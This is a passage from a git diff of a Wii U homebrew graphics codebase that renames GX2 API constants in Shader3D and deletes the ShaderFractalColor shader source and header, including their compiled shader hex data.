u32 vtxCount = 4) + static void draw(s32 primitive = GX2_PRIMITIVE_MODE_QUADS, u32 vtxCount = 4) { switch(primitive) { default: - case GX2_PRIMITIVE_QUADS: + case GX2_PRIMITIVE_MODE_QUADS: { - GX2DrawEx(GX2_PRIMITIVE_QUADS, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_QUADS, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_TRIANGLES: + case GX2_PRIMITIVE_MODE_TRIANGLES: { - GX2DrawEx(GX2_PRIMITIVE_TRIANGLES, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_TRIANGLES, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_TRIANGLE_FAN: + case GX2_PRIMITIVE_MODE_TRIANGLE_FAN: { - GX2DrawEx(GX2_PRIMITIVE_TRIANGLE_FAN, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_TRIANGLE_FAN, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_LINES: + case GX2_PRIMITIVE_MODE_LINES: { - GX2DrawEx(GX2_PRIMITIVE_LINES, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_LINES, vtxCount, 0, 1); break; } - case GX2_PRIMITIVE_LINE_STRIP: + case GX2_PRIMITIVE_MODE_LINE_STRIP: { - GX2DrawEx(GX2_PRIMITIVE_LINE_STRIP, vtxCount, 0, 1); + GX2DrawEx(GX2_PRIMITIVE_MODE_LINE_STRIP, vtxCount, 0, 1); break; } //! TODO: add other primitives later diff --git a/src/video/shaders/Shader3D.cpp b/src/video/shaders/Shader3D.cpp index 6857cd1..0824be6 100644 --- a/src/video/shaders/Shader3D.cpp +++ b/src/video/shaders/Shader3D.cpp @@ -198,12 +198,12 @@ Shader3D::Shader3D() colorIntensityLocation = 0; fadeDistanceLocation = 4; fadeOutLocation = 8; - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_SHADER_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, -1 }); + pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_SHADER_VAR_TYPE_FLOAT4, 1, fadeOutLocation, -1 }); samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); + pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); @@ -211,18 +211,18 @@ Shader3D::Shader3D() modelMatrixLocation = 0; projectionMatrixLocation = 16; viewMatrixLocation = 32; - vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); + vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, modelMatrixLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, projectionMatrixLocation, -1 }); + vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_SHADER_VAR_TYPE_MATRIX4X4, 1, viewMatrixLocation, -1 }); positionLocation = 0; texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT4, 0, positionLocation }); + vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); + GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); + GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); @@ -238,14 +238,14 @@ Shader3D::Shader3D() posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); } Shader3D::~Shader3D() diff --git a/src/video/shaders/Shader3D.h b/src/video/shaders/Shader3D.h index 7289152..1b30b3f 100644 --- a/src/video/shaders/Shader3D.h +++ b/src/video/shaders/Shader3D.h @@ -111,8 +111,8 @@ public: } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture(texture, samplerLocation); - GX2SetPixelSampler(sampler, samplerLocation); + GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); + GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); } }; diff --git a/src/video/shaders/ShaderFractalColor.cpp b/src/video/shaders/ShaderFractalColor.cpp deleted file mode 100644 index 7e8624c..0000000 --- a/src/video/shaders/ShaderFractalColor.cpp +++ /dev/null @@ -1,373 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "ShaderFractalColor.h" - -static const u32 cpVertexShaderProgram[] = -{ - 0x00000000,0x00008009,0x20000000,0x0000eca1, - 0x00c00000,0x88068093,0x01400200,0x9a048013, - 0x9c000000,0x000044a0,0x3c200000,0x88060094, - 0x02400000,0x88062014,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, - 0x03001f00,0x900c8040,0x03041f80,0x900c8060, - 0x076da101,0x9000e04f,0x0769a181,0x9000e06f, - 0x0745a101,0x9000c00f,0x0741a181,0x9000c02f, - 0x074da101,0x9000c04f,0x0749a181,0x9000c06f, - 0x0bc9a000,0x7f00e20f,0x0bc92080,0x7f04e22f, - 0x0bc9a001,0x7f08e24f,0x0bc92081,0x7f0ce26f, - 0x0725a101,0x9000a00f,0x0721a181,0x9000a02f, - 0x072da101,0x9000a04f,0x0729a181,0x9000a06f, - 0x0ac9a000,0x7e00c20f,0x0ac92080,0x7e04c22f, - 0x0ac9a001,0x7e08c24f,0x0ac92081,0x7e0cc26f, - 0x0ba5a000,0x7f00e20f,0x0ba52080,0x7f04e22f, - 0x0ba5a001,0x7f08e24f,0x0ba52081,0x7f0ce26f, - 0x08eda000,0x9000800f,0x08ed2080,0x9000802f, - 0x08eda001,0x9000804f,0x08ed2081,0x9000806f, - 0x09c9a000,0x7d00a20f,0x09c92080,0x7d04a22f, - 0x09c9a001,0x7d08a24f,0x09c92081,0x7d0ca26f, - 0x0aa5a000,0x7e00c20f,0x0aa52080,0x7e04c22f, - 0x0aa5a001,0x7e08c24f,0x0aa52081,0x7e0cc26f, - 0x0b81a000,0x7f006200,0x0b812080,0x7f046220, - 0x0b81a001,0x7f080240,0x0b812081,0x7f0c0260, - 0x08c9a000,0x7c00820f,0x08c92080,0x7c04822f, - 0x08c9a001,0x7c08824f,0x08c92081,0x7c0c826f, - 0x09a5a000,0x7d00a20f,0x09a52080,0x7d04a22f, - 0x09a5a001,0x7d08a24f,0x09a52081,0x7d0ca26f, - 0x0a81a000,0x7e008200,0x0a812080,0x7e048220, - 0x0a81a001,0x7e086240,0x0a812081,0x7e0c4260, - 0x0340a001,0x9000c00f,0x0344a001,0x9000c02f, - 0x0048a001,0x9000c04f,0x004ca001,0x9000c06f, - 0x0364a081,0x9000e02f,0x0360a001,0x9000e00f, - 0x0324a001,0x90000020,0x0068a001,0x9000e04f, - 0x006ca001,0x9000e06f,0x0320a081,0x90000000, - 0x08a5a000,0x7c00820f,0x08a52080,0x7c04822f, - 0x08a5a001,0x7c08824f,0x08a52081,0x7c0c826f, - 0x0981a000,0x7d00a200,0x09812080,0x7d04a220, - 0x0981a001,0x7d08a240,0x09812081,0x7d0c6260, - 0x02890000,0x7e00c20f,0x02898000,0x7e04c22f, - 0x0028a001,0x9000a04f,0x002ca001,0x9000c06f, - 0x02498081,0x7e0caa6f,0x03890000,0x7f00e20f, - 0x03898000,0x7f04e22f,0x02690001,0x7e08f64f, - 0x03498001,0x7f0ce26f,0x03690081,0x7f08ca4f, - 0x0881a000,0x7c00c200,0x08812080,0x7c04c220, - 0x0881a001,0x7c08e240,0x08812081,0x7c0ca260, - 0x0300a001,0x9000800f,0x0304a001,0x9000802f, - 0x0008a001,0x9000804f,0x000ca001,0x9000806f, - 0x01898080,0x0004aa2f,0x01890000,0x0000a20f, - 0x02a58000,0x7e04c22f,0x01690001,0x7d08a24f, - 0x01498081,0x7e0cc26f,0x02a50000,0x7e00f60f, - 0x03a58000,0x7f04622f,0x02a50001,0x7f08e24f, - 0x02658001,0x7d0ca26f,0x03a50080,0x7f00ca0f, - 0x00890000,0x7c00820f,0x00898000,0x7c049220, - 0x03a50001,0x7e08c24f,0x03658001,0x7f0ce26f, - 0x03c18080,0xfe04862f,0x01a50000,0x7d008200, - 0x01a58000,0x7d04622f,0x00690001,0x7c086240, - 0x00498081,0x7c0c4260,0x02c10000,0x7f00e20f, - 0x02c18000,0x7e04c62f,0x01a50001,0x7d080240, - 0x01658001,0x7e0c0260,0x01c18080,0xfe040620, - 0x03c10000,0x7e00620f,0x03a18001,0x7f0c622f, - 0x02e10001,0x7f08764f,0x02a18001,0x7d0c766f, - 0x03e10081,0x7e084a0f,0x02e80f00,0xfe000e00, - 0x02c88f00,0x7c046220,0x02c81f01,0xff00c240, - 0x02c89f01,0xfe04c260,0x00a50080,0x7c00aa00, - 0x01c10000,0x0400760f,0x00a58000,0x0404622f, - 0x00a50001,0x0308e24f,0x00658001,0x020c626f, - 0x00c10080,0x0500ea0f,0x02c41f00,0x0000620f, - 0x00c18000,0xfe04c22f,0x01e10001,0x0008624f, - 0x01a18001,0x000c666f,0x00a18081,0xfe0ce66f, - 0x00e10001,0x7f08620f,0x02048000,0x03046a2f, - 0x02c41f01,0x06086a4f,0x02c49f01,0x060c6a6f, - 0x02e00f80,0xfe000220,0x02c08f00,0xfe040200, - 0x02e08f01,0xfe0c0240,0x02c01f80,0xfe080260, - 0x8aa480ad,0x2bfc5ca6,0xb5e05b5b,0xd48dc71c -}; - -static const u32 cpVertexShaderRegs[] = { - 0x00000108,0x00000000,0x00000004,0x00000001, - 0xff000201,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0x00000000,0xfffffff8, - 0x00000003,0x00000001,0x00000000,0x00000002, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x00000000,0x0000000e,0x00000010 -}; - -static const u32 cpPixelShaderProgram[] = -{ - 0x20000000,0x000008a4,0x04000000,0x01004085, - 0x23000000,0x0000eca1,0x9f000000,0x0000e0a8, - 0xd8000000,0x000000a4,0x07000000,0x01004085, - 0xd9000000,0x000048a8,0xec000000,0x000000a4, - 0x0a000000,0x01004085,0xed000000,0x000050a8, - 0x02010000,0x000030a0,0x00000000,0x88062094, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0xfd001f80,0x900c0060,0x0000803f,0x00000000, - 0x03011f80,0x8c210000,0xfd001f00,0x900c0000, - 0xfd001f00,0x900ca02f,0x00000002,0x80020040, - 0x00048002,0x80020060,0xf8001f80,0x900cc04f, - 0x0000803f,0x00000000,0xfea81f00,0x9000e00f, - 0xfeac1f00,0x9000e02f,0xf8001f00,0x900c804f, - 0xf8001f80,0x900ca06f,0x00000040,0x00000000, - 0xfea01f00,0x00280000,0xfea41f00,0x00280020, - 0xfe041f00,0x00280040,0xfd041f80,0x00280060, - 0xaf67bb3e,0x00000080,0x7fc41f00,0x00000000, - 0x7fc01f80,0x00000020,0xfe041f00,0x100ac00f, - 0xfe001f80,0x100ac02f,0xfea01f00,0x00280000, - 0xfea41f00,0x00280020,0xfe041f00,0x00280040, - 0xfd041f00,0x1028e06f,0x7fc01f82,0x00000000, - 0x8c65583e,0x00000080,0x7ea41f00,0x80000000, - 0x7ea01f00,0x80000020,0xfee01f00,0x10006040, - 0x7fc48f82,0x00000860,0xa7c4623b,0x00000000, - 0xfea81f00,0x1000e00f,0x7fcc9f01,0x10006020, - 0xfe001f00,0x000a0040,0xfe041f00,0x000a0060, - 0xfea89f80,0x10008040,0x8c65583e,0x3acd13bf, - 0xfeb81f00,0x7e04c20f,0xfebc1f00,0x7e00822f, - 0x03c89f00,0x80060040,0xfea49f00,0x1000e06f, - 0xfea41f81,0x10006060,0x00809043,0x8c65583e, - 0x3acd13bf,0x00000000,0xfea81f00,0xf880a30f, - 0xfe001f00,0x900ca02f,0x7dc41f00,0x1000e04f, - 0xfe081f00,0xfd80636f,0x04081f80,0x900c800f, - 0x0000803f,0x00000000,0xfea81f00,0xf900620f, - 0xfea41f00,0xf900622f,0xfe0c1f00,0x900ca04f, - 0xfec00f00,0x1000c46f,0xfefc0f80,0x10006000, - 0x00000842,0x00000000,0xfeac1f00,0xf900620f, - 0x7fc81f00,0x9000c02f,0x7dc49f00,0x9000e04f, - 0x7df08f01,0x10008060,0x030c1f80,0x900ca02f, - 0x00000842,0x00000000,0xfea41f00,0x80000000, - 0x7ecc1f00,0x9000e02f,0x7e688000,0x80000040, - 0xfea81f00,0x80000060,0x7d6c8081,0x80000000, - 0xa7c4623b,0x00000000,0xfe001f00,0x000a0000, - 0xfe0c1f00,0x000a0020,0xfea41f00,0x80000040, - 0x03648000,0xfe08626f,0x7d648081,0xff00420f, - 0xa7c4623b,0x00000000,0xfeb01f00,0x7e04620f, - 0xfeb41f00,0x7f08662f,0x7c800001,0xff006e4f, - 0xfe081f00,0x000a0060,0x03680081,0xfe0c4e0f, - 0x00809043,0x00000000,0xfebc1f00,0x7f04620f, - 0x7cc41f00,0x00000020,0x7cc49f00,0x1000e04f, - 0xff901f00,0x00000060,0xfe981f80,0x00000000, - 0x00809043,0x00000000,0xfea81f00,0xf900620f, - 0x7cc41f00,0x00000020,0x00c09f00,0x1000c04f, - 0xfe0c1f00,0x80010060,0xff001f80,0x80010000, - 0x00000842,0x00000000,0xfea81f00,0xf900620f, - 0xfecc9f01,0x80000020,0x7fc81f00,0x9000e04f, - 0x7dc89f00,0x1000c86f,0xffe01f80,0x80000000, - 0x00000842,0x00000000,0xfeac1f00,0xf900620f, - 0x7ec81f00,0x9000802f,0xfec49f00,0x9000a040, - 0xfea89f00,0x80000060,0xffe01f80,0x9000a060, - 0x00000842,0xa7c4623b,0xfea41f00,0x80000000, - 0x7ecc1f00,0x9000e02f,0xfe0c1f00,0x000a0040, - 0x7c888081,0x80000000,0xa7c4623b,0x00000000, - 0xfe001f00,0x000a0000,0xfeb81f00,0x7f08622f, - 0xfea49f00,0x80000040,0x048c8081,0xff00420f, - 0x00809043,0xa7c4623b,0xfeb01f00,0x7c04620f, - 0x03600000,0xff00622f,0xfea49f00,0x80000040, - 0xfe081f80,0x000a0060,0x00809043,0x0ccec73c, - 0xfebc1f00,0x7f040200,0xfea09f00,0x90000020, - 0xfe941f00,0x10000040,0xfe081f80,0x30080060, - 0x00809043,0x0ccec73c,0x00041f00,0x20080000, - 0x00a01f00,0x80000020,0x002c1f02,0x1000e04f, - 0x00081f80,0x80010060,0x0ccec73c,0x00000000, - 0xfe201f02,0x1000800f,0xfec81f03,0x80020020, - 0xfe041f00,0x20080040,0xfe881f00,0x00000060, - 0xfecc9f81,0x9000a06f,0xfe0c1f00,0x000a0000, - 0xfe801f00,0x00000020,0xfec01f02,0x80020040, - 0xfe281f02,0x1000c06f,0xfe841f82,0x1000804f, - 0xfe041f00,0x000a0000,0x7fc81f02,0x00000020, - 0xfe8c1f00,0x00000040,0xfecc9f03,0x80020060, - 0xfe881f82,0x1000a00f,0x7cc01f02,0x00000000, - 0xfe8c1f02,0x1000e02f,0xfec49f00,0x80000040, - 0xfe081f00,0x000a0060,0x03c89f80,0x9000e04f, - 0x7ecc9f03,0x00000000,0xfec01f00,0x80000020, - 0x04c81f00,0x80000040,0x7c880f01,0xfe086a6f, - 0x7dac8f81,0x9000800f,0x7da00f00,0xfe04620f, - 0xfec01f00,0x80000020,0x03c01f00,0x80000840, - 0x03ac0f00,0xfe08c66f,0xfebc9f80,0xfd00420f, - 0xe07be53f,0x5c8e5a3f,0xfeb09f00,0xfd00620f, - 0x05e81f00,0x9000f02f,0x7fe48f00,0xfe04624f, - 0x04ec8f00,0xfe08626f,0x03840f81,0x7f08a20f, - 0xe07be53f,0x5c8e5a3f,0x7e0c1f00,0x900ce00f, - 0xfe0c1f00,0x900c802f,0x05cc1f00,0x9000e84f, - 0xfeb89f80,0xfd00626f,0xe07be53f,0x5c8e5a3f, - 0x7cc09f81,0x80000020,0x7fa40f00,0x00280000, - 0xfe848f00,0x00280020,0x7fe80f00,0x00280440, - 0xfd001f80,0x00280060,0x00000080,0x00000000, - 0xfdc01f80,0xf800620f,0x00000243,0x00000000, - 0xfea01f80,0x90000060,0x5555d53f,0x00000000, - 0x02011f80,0x8c110000,0x02448002,0x80020000, - 0xf8402000,0x9006a02f,0x02552081,0x00000040, - 0xfe301f00,0x1000e06f,0xfe081f80,0x1033c02f, - 0xfe4c2081,0x80060040,0xfee88f81,0x0289e32f, - 0x02c59f80,0x80060000,0xfee08f80,0x0285636f, - 0xfecc8f80,0x80000000,0xfe40a081,0x80000060, - 0x00cc9f81,0x9000e04f,0xfe281f00,0x80060000, - 0xf8c01f81,0x9006c02f,0xfee00f81,0xfd80636f, - 0x0000803f,0x00000000,0x7ec49f81,0xf880e34f, - 0xfe381f80,0x00000000,0x7de40f81,0xfe800360, - 0x00011f80,0x8c100000,0xf8001f00,0x900ce00f, - 0x00311f00,0x1000e02f,0x02a41f00,0xf910624f, - 0x02a01f00,0xf910626f,0x00011f80,0x1033e04f, - 0x00000040,0x00000000,0xfecc9f03,0x80020000, - 0xfec81f83,0x80020060,0x7fd49f01,0x00000020, - 0x7fd41f80,0x00000040,0xfe081f00,0x80010000, - 0xfe041f80,0x80010060,0xfee00f01,0x80000000, - 0xfeec0f81,0x80000020,0xfec01f00,0x00280000, - 0xfec49f00,0x00280020,0x7fe00f00,0x00280040, - 0xfd001f80,0x00280060,0x00000080,0x00000000, - 0xfe001f80,0x00350000,0x00ec1f82,0x000c0260, - 0x01011f00,0x800c0000,0x01051f00,0x800c0020, - 0x002c1f00,0x80060040,0xf8008001,0x9006e06f, - 0x01091f80,0x800c0000,0x01c01f00,0x90000000, - 0xfe088001,0xfd80632f,0x01e81f00,0x90000040, - 0x01c49f80,0x90000020,0x0000803f,0x00000000, - 0x7fcc9f80,0xf880630f,0xfe20a081,0x80000000, - 0x01cc1f80,0x90000060,0xc21e82a7,0x62ccc547, - 0x1708607c,0x73ea57a6 -}; -static const u32 cpPixelShaderRegs[] = { - 0x00000106,0x00000002,0x14000003,0x00000000, - 0x00000003,0x00000100,0x00000101,0x00000102, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x0000000f,0x00000001,0x00000010, - 0x00000000 -}; - -ShaderFractalColor * ShaderFractalColor::shaderInstance = NULL; - -ShaderFractalColor::ShaderFractalColor() - : vertexShader(cuAttributeCount) -{ - //! create pixel shader - pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); - - blurLocation = 0; - colorIntensityLocation = 4; - fadeOutLocation = 8; - fractalLocation = 12; - pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_border", GX2_VAR_TYPE_FLOAT, 1, blurLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); - pixelShader.addUniformVar((GX2UniformVar){ "unf_fract_alpha", GX2_VAR_TYPE_INT, 1, fractalLocation, 0xffffffff }); - - //! create vertex shader - vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); - - modelMatrixLocation = 0; - projectionMatrixLocation = 16; - viewMatrixLocation = 32; - vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); - vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); - - positionLocation = 0; - colorLocation = 1; - texCoordLocation = 2; - vertexShader.addAttribVar((GX2AttribVar){ "attr_colors", GX2_VAR_TYPE_VEC4, 0, colorLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); - - //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); - GX2InitAttribStream(vertexShader.getAttributeBuffer(2), colorLocation, 2, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); - - //! create fetch shader - fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); - - //! initialize default quad texture vertexes as those are very commonly used - //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 - posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); - texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); - colorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciColorVtxsSize); - - //! position vertex structure and texture coordinate vertex structure - int i = 0; - posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); - - i = 0; - texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; - texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); - - - for(i = 0; i < (int)ciColorVtxsSize; i++) - colorVtxs[i] = 0xff; - - GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, ciColorVtxsSize); -} - -ShaderFractalColor::~ShaderFractalColor() -{ - if(posVtxs) - { - free(posVtxs); - posVtxs = NULL; - } - if(texCoords) - { - free(texCoords); - texCoords = NULL; - } - if(colorVtxs) - { - free(colorVtxs); - colorVtxs = NULL; - } - - delete fetchShader; - fetchShader = NULL; -} diff --git a/src/video/shaders/ShaderFractalColor.h b/src/video/shaders/ShaderFractalColor.h deleted file mode 100644 index d3d8355..0000000 --- a/src/video/shaders/ShaderFractalColor.h +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef SHADER_FRACTAL_COLOR_H_ -#define SHADER_FRACTAL_COLOR_H_ - -#include "VertexShader.h" -#include "PixelShader.h" -#include "FetchShader.h" - -class ShaderFractalColor : public Shader -{ -private: - ShaderFractalColor(); - virtual ~ShaderFractalColor(); - - static ShaderFractalColor * shaderInstance; - - static const unsigned char cuAttributeCount = 3; - static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; - static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; - static const u32 ciColorVtxsSize = 4 * cuColorAttrSize; - - FetchShader *fetchShader; - VertexShader vertexShader; - PixelShader pixelShader; - - f32 *posVtxs; - f32 *texCoords; - u8 *colorVtxs; - - u32 modelMatrixLocation; - u32 viewMatrixLocation; - u32 projectionMatrixLocation; - u32 positionLocation; - u32 colorLocation; - u32 texCoordLocation; - - u32 blurLocation; - u32 colorIntensityLocation; - u32 fadeOutLocation; - u32 fractalLocation; -public: - static ShaderFractalColor *instance() { - if(!shaderInstance) { - shaderInstance = new ShaderFractalColor(); - } - return 